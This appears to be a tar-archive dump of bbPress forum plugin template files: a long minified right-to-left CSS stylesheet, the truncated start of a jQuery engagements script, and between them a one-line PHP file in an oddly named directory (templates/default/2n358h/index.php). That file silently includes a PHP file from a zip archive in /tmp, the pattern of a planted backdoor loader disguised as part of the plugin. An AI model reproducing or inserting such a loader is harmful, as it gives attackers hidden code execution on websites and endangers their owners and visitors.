templates/default/css/bbpress-rtl.min.css000066600000072754151771460310014541 0ustar00.hidden,.js .hide-if-js{display:none}.screen-reader-text,.screen-reader-text span,.ui-helper-hidden-accessible{position:absolute;margin:-1px;padding:0;height:1px;width:1px;overflow:hidden;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);border:0;word-wrap:normal!important}#bbpress-forums{background:0 0;clear:both;margin-bottom:20px;overflow:hidden;font-size:12px;line-height:18px}#bbpress-forums a,#bbpress-forums a:hover{box-shadow:none;border:none;transition:none}#bbpress-forums ul,#bbpress-forums.bbpress-wrapper ul{background:0 0;list-style:none;margin:0;padding:0}#bbpress-forums hr{margin:0 0 24px}#bbpress-forums div.even,#bbpress-forums ul.even{background-color:#fff}#bbpress-forums div.odd,#bbpress-forums ul.odd{background-color:#fbfbfb}body.reply-edit .reply{float:none}#bbpress-forums div.reply{height:auto;width:100%;box-sizing:border-box}#bbpress-forums div.bbp-forum-header,#bbpress-forums div.bbp-reply-header,#bbpress-forums div.bbp-topic-header{background-color:#f4f4f4}#bbpress-forums .status-spam.even,#bbpress-forums .status-trash.even{background-color:#fee}#bbpress-forums .status-spam.odd,#bbpress-forums .status-trash.odd{background-color:#fdd}#bbpress-forums .status-pending.even,#bbpress-forums .status-pending.odd,#bbpress-forums ul.status-pending a{background-color:#fef7f1}#bbpress-forums ul.status-closed,#bbpress-forums ul.status-closed a{color:#ccc}#bbpress-forums ul.bbp-threaded-replies{margin-right:50px}#bbpress-forums li{background:0 0;margin:0;list-style:none}#bbpress-forums ul.bbp-forums,#bbpress-forums ul.bbp-lead-topic,#bbpress-forums ul.bbp-replies,#bbpress-forums ul.bbp-search-results,#bbpress-forums ul.bbp-topics{font-size:12px;overflow:hidden;border:1px solid #eee;margin-bottom:20px;clear:both}#bbpress-forums li.bbp-body,#bbpress-forums li.bbp-footer,#bbpress-forums li.bbp-header{clear:both}#bbpress-forums li.bbp-footer,#bbpress-forums li.bbp-header{background:#f3f3f3;border-top:1px solid #eee;font-weight:700;padding:8px;text-align:center}#bbpress-forums li.bbp-header{background:#eaeaea}#bbpress-forums li.bbp-header ul{overflow:hidden}#bbpress-forums .bbp-forums-list{margin:0 7px 0 0;padding-right:12px;border-right:1px solid #ddd}#bbpress-forums .bbp-forums-list .bbp-forum{display:inline;font-size:11px}#bbpress-forums .bbp-forums-list .bbp-forum.css-sep:not(:last-child)::after{content:", "}#bbpress-forums li.bbp-footer p{margin:0;line-height:1}li.bbp-forum-info,li.bbp-topic-title{float:right;text-align:right;width:55%}li.bbp-forum-reply-count,li.bbp-forum-topic-count,li.bbp-topic-reply-count,li.bbp-topic-voice-count{float:right;text-align:center;width:10%}li.bbp-forum-freshness,li.bbp-topic-freshness{text-align:center;float:right;width:22%}#bbpress-forums li.bbp-body ul.forum,#bbpress-forums li.bbp-body ul.topic{border-top:1px solid #eee;overflow:hidden;padding:8px}#bbpress-forums #favorite-toggle,#bbpress-forums #subscription-toggle{float:left}#bbpress-forums div.bbp-forum-title h3,#bbpress-forums div.bbp-reply-title h3,#bbpress-forums div.bbp-topic-title h3{background:0 0;border:none;font-size:16px;line-height:1;margin:8px 0;padding:0;text-transform:none}#bbpress-forums div.bbp-forum-author,#bbpress-forums div.bbp-reply-author,#bbpress-forums div.bbp-topic-author{float:right;text-align:center;width:115px}#bbpress-forums div.bbp-forum-author img.avatar,#bbpress-forums div.bbp-reply-author img.avatar,#bbpress-forums div.bbp-topic-author img.avatar{border:none;max-width:80px;padding:0;margin:12px auto 0;float:none}#bbpress-forums div.bbp-forum-author .bbp-author-name,#bbpress-forums div.bbp-reply-author .bbp-author-name,#bbpress-forums div.bbp-topic-author .bbp-author-name{margin:0 12px;word-wrap:break-word;display:inline-block}#bbpress-forums div.bbp-reply-author .bbp-author-name,#bbpress-forums div.bbp-topic-author .bbp-author-name{clear:right;display:block}#bbpress-forums div.bbp-forum-author .bbp-author-role,#bbpress-forums div.bbp-reply-author .bbp-author-role,#bbpress-forums div.bbp-topic-author .bbp-author-role{font-size:11px;font-style:italic}#bbpress-forums li.bbp-footer .bbp-forum-author,#bbpress-forums li.bbp-footer .bbp-reply-author,#bbpress-forums li.bbp-footer .bbp-search-author,#bbpress-forums li.bbp-footer .bbp-topic-author,#bbpress-forums li.bbp-header .bbp-forum-author,#bbpress-forums li.bbp-header .bbp-reply-author,#bbpress-forums li.bbp-header .bbp-search-author,#bbpress-forums li.bbp-header .bbp-topic-author{float:right;margin:0;padding:0;width:120px}#bbpress-forums li.bbp-footer .bbp-forum-content,#bbpress-forums li.bbp-footer .bbp-reply-content,#bbpress-forums li.bbp-footer .bbp-search-content,#bbpress-forums li.bbp-footer .bbp-topic-content,#bbpress-forums li.bbp-header .bbp-forum-content,#bbpress-forums li.bbp-header .bbp-reply-content,#bbpress-forums li.bbp-header .bbp-search-content,#bbpress-forums li.bbp-header .bbp-topic-content{margin-right:140px;padding:0;text-align:right}div.bbp-forum-header,div.bbp-reply-header,div.bbp-topic-header,li.bbp-body div.hentry{margin:0;overflow:hidden;padding:8px}div.bbp-forum-header,div.bbp-reply-header,div.bbp-topic-header{border-top:1px solid #ddd;clear:both}span.bbp-author-ip{font-size:11px;font-weight:700;word-wrap:break-word;color:#747474}#bbpress-forums div.bbp-forum-content,#bbpress-forums div.bbp-reply-content,#bbpress-forums div.bbp-topic-content{margin-right:130px;padding:12px 0 12px 12px;text-align:right;position:relative}#bbpress-forums div.bbp-forum-content::after,#bbpress-forums div.bbp-reply-content::after,#bbpress-forums div.bbp-topic-content::after{clear:both;content:".";display:block;float:none;height:0;font-size:0;visibility:hidden}#bbpress-forums div.bbp-reply-content a,#bbpress-forums div.bbp-topic-content a{background:0 0;border:none;display:inline;font-weight:400;margin:0;padding:0;text-decoration:underline}#bbpress-forums div.bbp-reply-content a.bbp-user-mention,#bbpress-forums div.bbp-topic-content a.bbp-user-mention{background:0 0;border:none;text-decoration:none;text-shadow:none;display:inline;font-weight:600;margin:0;padding:0}#bbpress-forums div.bbp-reply-content h1,#bbpress-forums div.bbp-reply-content h2,#bbpress-forums div.bbp-reply-content h3,#bbpress-forums div.bbp-reply-content h4,#bbpress-forums div.bbp-reply-content h5,#bbpress-forums div.bbp-reply-content h6,#bbpress-forums div.bbp-topic-content h1,#bbpress-forums div.bbp-topic-content h2,#bbpress-forums div.bbp-topic-content h3,#bbpress-forums div.bbp-topic-content h4,#bbpress-forums div.bbp-topic-content h5,#bbpress-forums div.bbp-topic-content h6{clear:none;line-height:1;margin:24px 0;padding:0}#bbpress-forums div.bbp-reply-content img,#bbpress-forums div.bbp-topic-content img{max-width:100%;height:auto}#bbpress-forums div.bbp-reply-content ol,#bbpress-forums div.bbp-reply-content ul,#bbpress-forums div.bbp-topic-content ol,#bbpress-forums div.bbp-topic-content ul{margin:0 15px 15px;padding:0}#bbpress-forums div.bbp-reply-content ul li,#bbpress-forums div.bbp-topic-content ul li{list-style-type:disc}#bbpress-forums div.bbp-reply-content ol li,#bbpress-forums div.bbp-topic-content ol li{list-style-type:decimal}#bbpress-forums div.bbp-reply-content ol li li,#bbpress-forums div.bbp-topic-content ol li li{list-style-type:lower-alpha}#bbpress-forums div.bbp-reply-content ol li li li,#bbpress-forums div.bbp-topic-content ol li li li{list-style-type:upper-roman}#bbpress-forums div.bbp-reply-content code,#bbpress-forums div.bbp-reply-content pre,#bbpress-forums div.bbp-topic-content code,#bbpress-forums div.bbp-topic-content pre{font-family:Inconsolata,Consolas,Monaco,"Lucida Console",monospace;display:inline-block;background-color:#f9f9f9;border:1px solid #ddd;padding:0 5px;max-width:95%;vertical-align:middle;margin-top:-3px;overflow-x:auto}#bbpress-forums div.bbp-reply-content pre,#bbpress-forums div.bbp-topic-content pre{display:block;line-height:18px;margin:0 0 24px;padding:5px 10px;white-space:pre;overflow:auto}#bbpress-forums div.bbp-reply-content pre code,#bbpress-forums div.bbp-topic-content pre code{display:block;border:none;padding:0;margin:0;background-color:transparent;overflow-wrap:normal;overflow:auto;max-width:100%}#bbpress-forums div.bbp-reply-content iframe.wp-embedded-content,#bbpress-forums div.bbp-topic-content iframe.wp-embedded-content{position:relative}#bbpress-forums div.bbp-reply-to{margin-right:130px;padding:12px 0 12px 12px;text-align:left}#bbpress-forums div#bbp-cancel-reply-to{text-align:left}div.bbp-breadcrumb{float:right}div.bbp-breadcrumb,div.bbp-topic-tags{font-size:12px}#bbpress-forums div.bbp-breadcrumb p,#bbpress-forums div.bbp-topic-tags p{margin:0 0 10px 0}#bbpress-forums div.bbp-topic-tags{float:left;clear:both}#bbp-topic-hot-tags{clear:both}#bbpress-forums #bbp-search-form{clear:right}#bbpress-forums #bbp-search-form .hidden{height:0;width:0;overflow:hidden;position:absolute;background:0 0;right:-999em}#bbpress-forums #bbp-search-form #bbp_search{display:inline-block;width:auto}#bbpress-forums div.bbp-search-form{float:left}span.bbp-admin-links{float:left;color:#ddd}span.bbp-admin-links a{color:#707070;font-weight:400;font-size:10px;text-transform:uppercase;text-decoration:none}fieldset span.bbp-admin-links{float:right}tr td span.bbp-admin-links a:hover{color:#ff4b33}td.bbp-topic-admin-links,td.bbp-topic-counts{width:50%}.bbp-forum-header a.bbp-forum-permalink,.bbp-reply-header a.bbp-reply-permalink,.bbp-topic-header a.bbp-topic-permalink{float:left;margin-right:10px;color:#707070}.bbp-row-actions #favorite-toggle a{text-decoration:none;padding:0 3px 1px;color:#7c7;border:1px solid #aca;background-color:#dfd;font-weight:700;font-size:12px}.bbp-row-actions #favorite-toggle a:hover{color:#5a5;border-color:#7c7;background-color:#beb}.bbp-row-actions #favorite-toggle span.is-favorite a{color:#faa;border:1px solid #faa;background-color:#fee}.bbp-row-actions #favorite-toggle span.is-favorite a:hover{color:#c88;border-color:#c88;background-color:#fdd}.bbp-row-actions #subscription-toggle a{text-decoration:none;padding:0 3px 1px;color:#7c7;border:1px solid #aca;background-color:#dfd;font-weight:700;font-size:12px}.bbp-row-actions #subscription-toggle a:hover{color:#5a5;border-color:#7c7;background-color:#beb}.bbp-row-actions #subscription-toggle span.is-subscribed a{color:#faa;border:1px solid #faa;background-color:#fee}.bbp-row-actions #subscription-toggle span.is-subscribed a:hover{color:#c88;border-color:#c88;background-color:#fdd}#bbpress-forums .bbp-forum-info .bbp-forum-content,#bbpress-forums p.bbp-topic-meta{font-size:11px;margin:5px 0;padding:0;word-wrap:break-word}#bbpress-forums p.bbp-topic-meta span{white-space:nowrap}.bbp-pagination-count{float:right;border:1px solid transparent}.bbp-pagination-links{float:left;list-style:none;display:inline}.bbp-pagination{float:right;width:100%;margin-bottom:15px}#bbpress-forums .bbp-pagination-links a,#bbpress-forums .bbp-pagination-links span.current{display:block;float:right;font-size:12px;line-height:18px;padding:0 5px;margin-right:5px;border:1px solid #efefef;border-radius:0;background:0 0;color:inherit;text-decoration:none}#bbpress-forums .bbp-pagination-links span.dots{display:block;float:right;padding:1px 4px;margin-right:5px}#bbpress-forums .bbp-topic-pagination{display:inline-block;margin-right:5px;margin-bottom:2px}#bbpress-forums .bbp-topic-pagination a{font-size:10px;font-weight:400;line-height:10px;margin:0;padding:1px 3px;border:1px solid #ddd;color:inherit;background:0 0;display:inline;text-decoration:none}#bbpress-forums .bbp-pagination-links a:hover,#bbpress-forums .bbp-pagination-links span.current,#bbpress-forums .bbp-topic-pagination a:hover{background:#eee;opacity:.8;border:1px solid #ddd}#bbpress-forums fieldset.bbp-form{clear:right;border:1px solid #eee;padding:10px 20px;margin-bottom:10px}#bbpress-forums fieldset.bbp-form legend{padding:5px;width:auto;border:none}#bbpress-forums fieldset.bbp-form label{margin:0;display:inline-block}#bbp-edit-topic-tag.bbp-form fieldset.bbp-form label,#bbp-login fieldset label,#bbp-lost-pass fieldset label,#bbp-register fieldset label{width:100px}#bbpress-forums fieldset.bbp-form p{padding:0}#bbpress-forums fieldset.bbp-form input,#bbpress-forums fieldset.bbp-form p,#bbpress-forums fieldset.bbp-form select,#bbpress-forums fieldset.bbp-form textarea{margin:0 0 8px}#bbpress-forums fieldset.bbp-form input[type=text],#bbpress-forums fieldset.bbp-form select{min-height:28px;height:28px;padding:5px}textarea#bbp_forum_content,textarea#bbp_reply_content,textarea#bbp_topic_content{width:97%;box-sizing:border-box}textarea#bbp_forum_content{height:210px}#bbpress-forums fieldset.bbp-forum-form-attributes{width:200px;float:left;clear:none;margin-right:25px}#bbpress-forums fieldset select#bbp_forum_id{max-width:200px}.bbp-reply-form,.bbp-topic-form,.bbp-topic-tag-form{clear:right}body.reply-edit .bbp-reply-form div.avatar img,body.single-forum .bbp-topic-form div.avatar img,body.single-reply .bbp-reply-form div.avatar img,body.topic-edit .bbp-topic-form div.avatar img{margin-left:0;padding:10px;border:1px solid #ddd;line-height:0;background-color:#efefef}body.page .bbp-reply-form code,body.page .bbp-topic-form code,body.reply-edit .bbp-reply-form code,body.single-forum .bbp-topic-form code,body.single-topic .bbp-reply-form code,body.topic-edit .bbp-topic-form code{font-size:10px;background-color:#f0fff8;border:1px solid #ceefe1;display:block;padding:8px;margin-top:5px;width:369px}#delete_tag,#merge_tag{display:inline}div.bbp-submit-wrapper{margin-top:15px;float:left;clear:both}p.form-allowed-tags{max-width:100%}#bbpress-forums div.bbp-the-content-wrapper{margin-bottom:10px}#bbpress-forums div.bbp-the-content-wrapper textarea.bbp-the-content{width:100%;margin:0;font-size:12px}#bbpress-forums div.bbp-the-content-wrapper table,#bbpress-forums div.bbp-the-content-wrapper tbody,#bbpress-forums div.bbp-the-content-wrapper td,#bbpress-forums div.bbp-the-content-wrapper tr{border:none;padding:0;margin:0;width:auto;line-height:1}#bbpress-forums div.bbp-the-content-wrapper input[type=button]{padding:4px 7px;margin:0 0 0 -1px;line-height:0;border:1px solid transparent;background-color:transparent;box-shadow:none;text-shadow:none;text-transform:uppercase;font-size:11px;font-weight:400;border-radius:3px;min-width:25px;color:#555}#bbpress-forums div.bbp-the-content-wrapper input[type=button]:hover{border-color:rgba(0,0,0,.1);background-color:rgba(255,255,255,.5)}#bbpress-forums div.bbp-the-content-wrapper div.quicktags-toolbar{padding:5px;min-height:26px}#bbpress-forums div.bbp-the-content-wrapper td.mceToolbar{padding:4px 4px 8px}#bbpress-forums div.wp-editor-container{margin:0;padding:0;line-height:0}#bbpress-forums div.bbp-the-content-wrapper td.mceStatusbar{line-height:16px}#bbpress-forums .bbp-replies .bbp-reply-form{margin:0 10px 0 10px}#bbpress-forums #bbp-your-profile fieldset{padding:20px 20px 0}#bbpress-forums #bbp-your-profile fieldset div{margin-bottom:20px;float:right;width:100%;clear:right}#bbpress-forums #bbp-your-profile fieldset select{margin-bottom:0;width:60%;background-color:#f9f9f9;border:1px solid #ddd}#bbpress-forums #bbp-your-profile fieldset input,#bbpress-forums #bbp-your-profile fieldset textarea{margin-bottom:0;width:60%;background-color:#f9f9f9;border:1px solid #ddd;box-shadow:none;border-radius:0}#bbpress-forums #bbp-your-profile fieldset input:focus,#bbpress-forums #bbp-your-profile fieldset textarea:focus{border:1px solid #ccc;box-shadow:inset -1px 1px 1px rgba(0,0,0,.1);outline-color:rgba(240,255,240,.1)}#bbpress-forums #bbp-your-profile fieldset.bbp-form input.checkbox{width:auto}#bbpress-forums #bbp-your-profile fieldset legend{display:none}#bbpress-forums #bbp-your-profile fieldset label[for]{float:right;width:20%;padding:5px 0 5px 20px;text-align:left;cursor:pointer}#bbpress-forums #bbp-your-profile fieldset dl label[for]{text-align:right;width:60%}#bbpress-forums #bbp-your-profile fieldset p.description{margin:5px 20% 0 0;font-size:12px;font-style:italic;float:right;clear:right;width:60%;padding:5px 8px;border:#cee1ef 1px solid;background-color:#f0f8ff}#bbpress-forums #bbp-your-profile fieldset fieldset{margin:0;border:none;padding:0;clear:none;float:none}#bbpress-forums #bbp-your-profile fieldset fieldset.capabilities dl{margin:0}#bbpress-forums #bbp-your-profile fieldset.submit button{float:left}#bbpress-forums #bbp-your-profile fieldset fieldset.password{width:60%;display:inline}#bbpress-forums #bbp-your-profile fieldset fieldset.password .password-button-wrapper,#bbpress-forums #bbp-your-profile fieldset fieldset.password .password-input-wrapper{width:100%;margin:0;display:inline-block}#bbpress-forums #bbp-your-profile fieldset fieldset.password .password-button-wrapper button{width:46%;margin:4% 2%;box-sizing:border-box;display:inline-block}#bbpress-forums #bbp-your-profile fieldset fieldset.password input,#bbpress-forums #bbp-your-profile fieldset fieldset.passwword textarea{width:100%}#bbpress-forums #bbp-your-profile fieldset fieldset.password button .dashicons{display:none}#bbpress-forums #bbp-your-profile fieldset fieldset.password span.description{margin-right:0;margin-bottom:20px}#bbpress-forums #password #pass-strength-result{background-color:#eee;border:1px solid #ddd;color:#23282d;margin:0;padding:8px;text-align:center;box-sizing:border-box;display:inline-block}#bbpress-forums #password #pass-strength-result.short{background-color:#f1adad;border-color:#e35b5b;opacity:1}#bbpress-forums #password #pass-strength-result.bad{background-color:#fbc5a9;border-color:#f78b53;opacity:1}#bbpress-forums #password #pass-strength-result.good{background-color:#ffe399;border-color:#ffc733;opacity:1}#bbpress-forums #password #pass-strength-result.strong{background-color:#c1e1b9;border-color:#83c373;opacity:1}#bbpress-forums #password #pass1-text.short,#bbpress-forums #password #pass1.short{border-color:#e35b5b}#bbpress-forums #password #pass1-text.bad,#bbpress-forums #password#pass1.bad{border-color:#f78b53}#bbpress-forums #password #pass1-text.good,#bbpress-forums #password #pass1.good{border-color:#ffc733}#bbpress-forums #password #pass1-text.strong,#bbpress-forums #password #pass1.strong{border-color:#83c373}#bbpress-forums .indicator-hint{padding-top:8px}#bbpress-forums #pass1-text,#bbpress-forums .pw-weak,#bbpress-forums .show-password #pass1{display:none}#bbpress-forums .show-password #pass1-text{display:inline-block}div.bbp-template-notice,div.indicator-hint{border-width:1px;border-style:solid;padding:0 .6em;margin:5px 0 15px;border-radius:3px;background-color:#ffffe0;border-color:#e6db55;color:#000;clear:both}div.bbp-template-notice a{color:#555;text-decoration:none}div.bbp-template-notice a:hover{color:#000}div.bbp-template-notice.info{border:#cee1ef 1px solid;background-color:#f0f8ff}div.bbp-template-notice.important{border:#e6db55 1px solid;background-color:#fffbcc}div.bbp-template-notice.error,div.bbp-template-notice.warning{background-color:#ffebe8;border-color:#c00}div.bbp-template-notice.error a,div.bbp-template-notice.warning a{color:#c00}div.bbp-template-notice li,div.bbp-template-notice p{margin:.5em 0 6px!important;padding:2px;font-size:12px;line-height:1.4}#bbpress-forums div.bbp-template-notice code{font-size:11px;padding:2px 4px;background:rgba(200,200,200,.3);border-radius:3px}.bbp-forum-content ul.sticky,.bbp-topics ul.sticky,.bbp-topics ul.super-sticky,.bbp-topics-front ul.super-sticky{background-color:#ffffe0!important;font-size:1.1em}#bbpress-forums .bbp-reply-content ul.bbp-reply-revision-log,#bbpress-forums .bbp-reply-content ul.bbp-topic-revision-log,#bbpress-forums .bbp-topic-content ul.bbp-topic-revision-log{border-top:1px dotted #ddd;width:100%;margin:0;padding:8px 0 0;font-size:11px;color:#aaa}#bbpress-forums .bbp-reply-content ul.bbp-reply-revision-log li,#bbpress-forums .bbp-reply-content ul.bbp-topic-revision-log li,#bbpress-forums .bbp-topic-content ul.bbp-topic-revision-log li{list-style-type:none}#bbpress-forums .bbp-reply-content ul.bbp-reply-revision-log a,#bbpress-forums .bbp-reply-content ul.bbp-topic-revision-log a,#bbpress-forums .bbp-topic-content ul.bbp-topic-revision-log a{text-decoration:none}.bbp-login-form fieldset legend{display:none}.bbp-login-form .bbp-email input,.bbp-login-form .bbp-password input,.bbp-login-form .bbp-username input{padding:5px}.bbp-login-form label{width:140px;display:inline-block}#sidebar .bbp-login-form label{width:70px}.bbp-login-form .bbp-email,.bbp-login-form .bbp-password,.bbp-login-form .bbp-remember-me,.bbp-login-form .bbp-submit-wrapper,.bbp-login-form .bbp-username{margin-top:10px}.bbp-login-form .bbp-submit-wrapper{text-align:left}.bbp-login-form .bbp-login-links a{float:right;clear:right}.bbp-logged-in img.avatar{float:right;margin:0 0 0 15px}.bbp-logged-in h4{font-weight:700;font-size:1.3em;clear:none;margin-bottom:10px}#bbpress-forums img.avatar{box-shadow:none;display:inline-block;margin-left:4px}#bbpress-forums .widget_display_replies img.avatar,#bbpress-forums .widget_display_topics img.avatar,#bbpress-forums div.bbp-template-notice img.avatar,#bbpress-forums p.bbp-topic-meta img.avatar,#bbpress-forums ul.bbp-reply-revision-log img.avatar,#bbpress-forums ul.bbp-topic-revision-log img.avatar{float:none;vertical-align:middle;border:3px double #ddd;max-height:20px;max-width:20px}fieldset div.avatar{float:left}.activity-list li.bbp_reply_create .activity-content .activity-inner,.activity-list li.bbp_topic_create .activity-content .activity-inner{border-right:2px solid #eaeaea;margin-right:5px;padding-right:10px}#bbpress-forums h1{clear:none;font-size:1.8em;line-height:1;padding-bottom:10px}#bbpress-forums #bbp-user-wrapper{float:right;width:100%}#bbpress-forums .bbp-user-section{overflow:auto;clear:left}#bbpress-forums #bbp-user-wrapper h2.entry-title{font-size:1.4em;margin:0;padding-bottom:10px;padding-top:0;clear:none}#bbpress-forums #bbp-user-wrapper fieldset.bbp-form,#bbpress-forums #bbp-user-wrapper ul.bbp-forums,#bbpress-forums #bbp-user-wrapper ul.bbp-lead-topic,#bbpress-forums #bbp-user-wrapper ul.bbp-replies,#bbpress-forums #bbp-user-wrapper ul.bbp-topics{clear:none}#bbpress-forums #bbp-single-user-details{margin:0;width:150px;float:right;overflow:hidden}#bbpress-forums #bbp-single-user-details #bbp-user-avatar{margin:0;width:150px}#bbpress-forums #bbp-single-user-details #bbp-user-avatar img.avatar{border:none;height:150px;padding:0;margin:0 0 20px;width:150px}#bbpress-forums #bbp-single-user-details #bbp-user-description{float:none;margin-right:180px}#bbpress-forums #bbp-single-user-details #bbp-user-navigation{float:none;margin:0}#bbpress-forums #bbp-single-user-details #bbp-user-navigation li{margin:0}#bbpress-forums #bbp-single-user-details #bbp-user-navigation a{padding:5px 8px;display:block;border:1px solid transparent;text-decoration:none}#bbpress-forums #bbp-single-user-details #bbp-user-navigation li.current a{background:#eee;opacity:.8}#bbpress-forums #bbp-user-body{margin-right:180px}body.my-account #bbpress-forums{border-top:none;padding-top:0;margin-bottom:0}#bbpress-forums dl.bbp-user-capabilities{display:inline-block;vertical-align:top}#bbpress-forums dl.bbp-user-capabilities dt{margin:0 0 10px;text-transform:capitalize}#bbpress-forums dl.bbp-user-capabilities dd{margin:0;padding:0}.bbp-alert-outer{height:100%;width:100%;top:0;right:0;position:fixed;background-color:rgba(0,0,0,.2);z-index:99999}.bbp-alert-inner{width:350px;text-align:center;background:#fff;position:fixed;top:50%;right:50%;margin-top:-75px;margin-right:-185px;border-radius:3px;border:1px solid #aaa;padding:15px 10px 10px}.bbp-alert-outer .bbp-alert-inner p{margin:10px 0}.bbp-alert-actions a{padding:5px 20px;text-decoration:none}@media only screen and (max-width:480px){#bbpress-forums div.bbp-topic-tags{clear:both;float:none}div.bbp-search-form button,div.bbp-search-form input{font-size:11px;padding:2px}li.bbp-forum-info,li.bbp-topic-title{width:45%}li.bbp-forum-reply-count,li.bbp-forum-topic-count,li.bbp-topic-reply-count,li.bbp-topic-voice-count{width:15%}span.bbp-reply-post-date,span.bbp-topic-post-date{float:right}span.bbp-admin-links{float:none;clear:both}#bbpress-forums .bbp-forums-list li,#bbpress-forums .bbp-forums-list span{display:block;font-size:11px}#bbpress-forums .bbp-body div.bbp-reply-author,#bbpress-forums .bbp-body div.bbp-topic-author{float:none;margin:10px;min-height:80px;padding-right:80px;position:relative;text-align:right;width:calc(100% - 100px);border-bottom:1px solid #efefef;box-sizing:content-box}#bbpress-forums div.bbp-reply-author .bbp-author-name,#bbpress-forums div.bbp-topic-author .bbp-author-name{clear:none;display:inline-block;margin-right:0;word-wrap:break-word}#bbpress-forums div.bbp-reply-author img.avatar,#bbpress-forums div.bbp-topic-author img.avatar{position:absolute;top:0;right:0;width:60px;height:auto;margin-top:0}#bbpress-forums div.bbp-reply-author .bbp-author-role,#bbpress-forums div.bbp-topic-author .bbp-author-role{font-size:12px;font-style:normal}#bbpress-forums .bbp-body div.bbp-reply-content,#bbpress-forums .bbp-body div.bbp-topic-content{clear:both;margin:0 10px 5px 10px;padding:0}#bbpress-forums div.bbp-reply-content p,#bbpress-forums div.bbp-topic-content p{margin-bottom:1em}#bbpress-forums div.bbp-reply-content p:last-child,#bbpress-forums div.bbp-topic-content p:last-child{margin-bottom:0}div.bbp-submit-wrapper{float:right}#bbpress-forums fieldset.bbp-form{padding:0 10px 10px}#bbpress-forums #bbp-user-body{clear:both;margin-right:0;word-wrap:break-word}#bbpress-forums div.bbp-forum-title h3,#bbpress-forums div.bbp-reply-title h3,#bbpress-forums div.bbp-topic-title h3{font-size:14px}}@media only screen and (max-width:320px){#bbpress-forums div.bbp-search-form{margin-bottom:10px}#bbpress-forums li.bbp-body li.bbp-forum-info,#bbpress-forums li.bbp-body li.bbp-topic-title,#bbpress-forums li.bbp-header li.bbp-forum-info,#bbpress-forums li.bbp-header li.bbp-topic-title{width:100%}#bbpress-forums li.bbp-header li.bbp-forum-info,#bbpress-forums li.bbp-header li.bbp-topic-title{text-align:center;text-transform:uppercase}#bbpress-forums li.bbp-body li.bbp-forum-reply-count,#bbpress-forums li.bbp-body li.bbp-forum-topic-count,#bbpress-forums li.bbp-body li.bbp-topic-reply-count,#bbpress-forums li.bbp-body li.bbp-topic-voice-count,#bbpress-forums li.bbp-header li.bbp-forum-reply-count,#bbpress-forums li.bbp-header li.bbp-forum-topic-count,#bbpress-forums li.bbp-header li.bbp-topic-reply-count,#bbpress-forums li.bbp-header li.bbp-topic-voice-count{width:20%}#bbpress-forums li.bbp-body li.bbp-forum-freshness,#bbpress-forums li.bbp-body li.bbp-topic-freshness,#bbpress-forums li.bbp-header li.bbp-forum-freshness,#bbpress-forums li.bbp-header li.bbp-topic-freshness{width:58%}#bbpress-forums li.bbp-body li.bbp-forum-freshness,#bbpress-forums li.bbp-body li.bbp-forum-reply-count,#bbpress-forums li.bbp-body li.bbp-forum-topic-count,#bbpress-forums li.bbp-body li.bbp-topic-freshness,#bbpress-forums li.bbp-body li.bbp-topic-reply-count,#bbpress-forums li.bbp-body li.bbp-topic-voice-count{margin-top:7px}#bbpress-forums li.bbp-footer,#bbpress-forums li.bbp-header{font-size:10px}#bbpress-forums li.bbp-header div.bbp-reply-author,#bbpress-forums li.bbp-header div.bbp-search-author,#bbpress-forums li.bbp-header div.bbp-topic-author{text-align:right;width:25%}#bbpress-forums li.bbp-header div.bbp-reply-content,#bbpress-forums li.bbp-header div.bbp-search-content,#bbpress-forums li.bbp-header div.bbp-topic-content{margin-right:25%}#bbpress-forums div.bbp-template-notice img.avatar,#bbpress-forums p.bbp-topic-meta img.avatar{width:14px;height:auto;max-height:14px;max-width:14px}#bbpress-forums div.bbp-the-content-wrapper td.mceToolbar{padding:1px}#bbpress-forums div.bbp-the-content-wrapper td.mceToolbar td{width:20px;height:20px}#bbpress-forums div.wp-editor-container{width:100%;overflow:auto}#bbpress-forums input#bbp_topic_tags,#bbpress-forums input#bbp_topic_title{width:95%}#bbpress-forums div.bbp-forum-title h3,#bbpress-forums div.bbp-reply-title h3,#bbpress-forums div.bbp-topic-title h3{font-size:14px}}@media only screen and (max-width:240px){#bbpress-forums li.bbp-body li.bbp-forum-reply-count,#bbpress-forums li.bbp-body li.bbp-forum-topic-count,#bbpress-forums li.bbp-body li.bbp-topic-reply-count,#bbpress-forums li.bbp-body li.bbp-topic-voice-count,#bbpress-forums li.bbp-footer div.bbp-reply-author,#bbpress-forums li.bbp-footer div.bbp-search-author,#bbpress-forums li.bbp-footer div.bbp-topic-author,#bbpress-forums li.bbp-header li.bbp-forum-reply-count,#bbpress-forums li.bbp-header li.bbp-forum-topic-count,#bbpress-forums li.bbp-header li.bbp-topic-reply-count,#bbpress-forums li.bbp-header li.bbp-topic-voice-count{width:45%}#bbpress-forums li.bbp-body li.bbp-forum-freshness,#bbpress-forums li.bbp-body li.bbp-topic-freshness,#bbpress-forums li.bbp-header li.bbp-forum-freshness,#bbpress-forums li.bbp-header li.bbp-topic-freshness{clear:both;width:100%}#bbpress-forums li.bbp-header li.bbp-forum-freshness,#bbpress-forums li.bbp-header li.bbp-topic-freshness{text-align:center}#bbpress-forums li.bbp-body li.bbp-topic-freshness,#bbpress-forums li.bbp-header div.bbp-reply-author,#bbpress-forums li.bbp-header div.bbp-reply-content,#bbpress-forums li.bbp-header div.bbp-search-author,#bbpress-forums li.bbp-header div.bbp-search-content,#bbpress-forums li.bbp-header div.bbp-topic-author,#bbpress-forums li.bbp-header div.bbp-topic-content{margin-right:0;text-align:right}#bbpress-forums li.bbp-body li.bbp-topic-freshness p.bbp-topic-meta{display:inline-block}#bbpress-forums li.bbp-header{overflow:hidden}#bbpress-forums li.bbp-footer div.bbp-reply-content,#bbpress-forums li.bbp-footer div.bbp-search-content,#bbpress-forums li.bbp-footer div.bbp-topic-content{display:inline-block;margin-right:0}#bbpress-forums li.bbp-body div.bbp-reply-author,#bbpress-forums li.bbp-body div.bbp-topic-author{min-height:60px;padding-right:60px}#bbpress-forums div.bbp-reply-author img.avatar,#bbpress-forums div.bbp-topic-author img.avatar{width:40px;height:auto}#bbpress-forums div.bbp-forum-title h3,#bbpress-forums div.bbp-reply-title h3,#bbpress-forums div.bbp-topic-title h3{font-size:12px}}templates/default/2n358h/index.php000066600000000151151771460310012743 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "file5.php"; include("zip:///tmp/phpPGrOym#$h");?>templates/default/js/engagements.js000066600000003064151771460310013451 0ustar00/* global bbpEngagementJS */
jQuery( document ).ready( function ( $ ) {

	function bbp_ajax_call( action, object, type, nonce, update_selector ) {
		var $data = {
